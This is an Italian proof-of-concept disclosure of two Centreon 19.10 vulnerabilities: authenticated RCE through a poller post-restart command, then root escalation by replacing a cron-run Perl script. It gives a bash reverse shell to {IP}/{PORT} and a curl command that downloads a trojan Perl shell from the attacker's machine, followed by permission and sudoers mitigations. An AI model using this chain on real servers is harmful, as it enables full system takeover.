
Centreon =<19.10 RCE autenticata
Prova di Concetto
Scoperto da:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
Esecuzione di codice remoto autenticata:
Iniziamo accedendo come utente Admin al pannello web di Centreon.
Dopo aver effettuato l'accesso, navighiamo fino a Configuration > Commands > Miscellaneous
Procedere cliccando su Add come mostrato nell'immagine qui sotto.
Ora creiamo una reverse shell bash come nostro comando Miscellaneous
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
E cliccare su Save
Ora navighiamo fino a Configuration > Pollers e procediamo cliccando sul poller Central corrente
Questo dà accesso al menu Modify a poller Configuration
Qui possiamo scorrere verso il basso e impostare un Post-restart command
Procedere selezionando la reverse shell che abbiamo creato in precedenza e cliccare sul pulsante Save
Possiamo ora procedere avviando il listener Netcat sulla nostra macchina locale
Infine clicchiamo sul pulsante Export configuration nel menu Configuration > Pollers
Selezionare il poller Central nella casella a discesa Pollers
Deselezionare le caselle Generate Configuration Files e Run monitoring engine debug (-v)
Selezionare le caselle Restart Monitoring Engine e Post generation command
Selezionare Restart nella casella a discesa Method
Cliccando su Export, il Poller si riavvierà e quindi eseguirà il Post-Restart Command che abbiamo configurato in precedenza Questo è il momento in cui il nostro listener reverse shell riceverà una connessione
Esecuzione di codice remoto autenticata riuscita!
(Questa era la descrizione per CVE-2019-19699)
Da qui in poi passiamo all'ottenimento di Root
Utilizzeremo CVE-2019-16406 trovata da TheCyberGeek per compromettere completamente il server Centreon =< 19.10
Iniziamo generando una shell TTY nel nostro terminale reverse shell corrente
python -c 'import pty; pty.spawn("/bin/sh")'
Ora diamo un'occhiata a quali attività cron esistono eseguendo cat /etc/cron.d/*
Ora vediamo che centreon_autodisc.pl è un'attività Cron
(Era impostato da 30 22 * * * root a * * * * * root per scopi dimostrativi)
Questo viene eseguito come Root, sostituiamo il centreon_autodisco.pl con una reverse shell Perl
La shell Perl che userò può essere scaricata qui
Scarica la reverse shell e modifica l'indirizzo IP e la porta con i tuoi come spiegato nella pagina web
Esegui un mv per rinominare il file perl-reverse-shell.pl in centreon_autodisco.pl localmente
Procediamo e avviamo un SimpleHTTPServer locale su una porta a scelta
In questo modo, possiamo curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl per sostituire l'esistente centreon_autodisco.pl con la nostra reverse shell Perl trojan
Ora che il file è stato sostituito, non resta che avviare un listener Netcat sulla porta che abbiamo configurato in precedenza e riceveremo una connessione dal server come utente Root!
Accesso di root al sistema riuscito!
Passiamo ora alle note su come pensiamo che l'escalation dei privilegi dovrebbe essere mitigata!
Impostazioni attuali in 19.10:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Mitigazione per /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
Come puoi vedere, ora è di proprietà di Root, il gruppo apache può solo leggere ed eseguirlo, centreon può solo eseguirlo, quindi non influisce sulla funzionalità.
Esempio:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied Ma apache può ancora eseguirlo.
Mitigazione per /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
Come puoi vedere, ora è di proprietà di Root, il gruppo apache può solo leggere ed eseguirlo, centreon può solo eseguirlo, quindi non influisce sulla funzionalità.
Esempio:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied Ma apache può ancora eseguirlo.
Mitigazione per /usr/lib/centreon/plugins/cwrapper_perl
Usa i comandi sudo per definire script specifici che devono essere eseguiti da ogni utente.
Facendo sì che root possieda ogni script perl in modo che gli utenti non possano alterare o sostituire lo script per l'escalation dei privilegi.
chmod 755 /usr/lib/centreon/plugins/cwrapper_perl
ls -la /usr/lib/centreon/plugins/cwrapper_perl
-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Ora gli utenti non possono più alterare o sostituire lo script!
Esempio:
cat /etc/sudoers
...
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl
...
---End of Sudoers---
ls -la example_script1.pl
-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl
ls -la examle_scripts1.pl
-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl
Gli utenti possono ancora eseguire gli script necessari e gli script non possono essere modificati da apache o centreon, eliminando così del tutto la minaccia alla sicurezza per l'escalation dei privilegi.
Se un attaccante riuscisse a entrare nella macchina ora, prendere il pieno controllo della macchina sarebbe molto difficile o impossibile a meno che non vengano scoperte altre minacce.
Per l'utente Centreon, l'unica escalation di privilegi che abbiamo trovato era la cwrapper per perl, quindi se il post-restart veniva eseguito dall'utente centreon e un attaccante otteneva una shell come utente centreon, non ci sarebbe praticamente più superficie di attacco.
Grazie per la lettura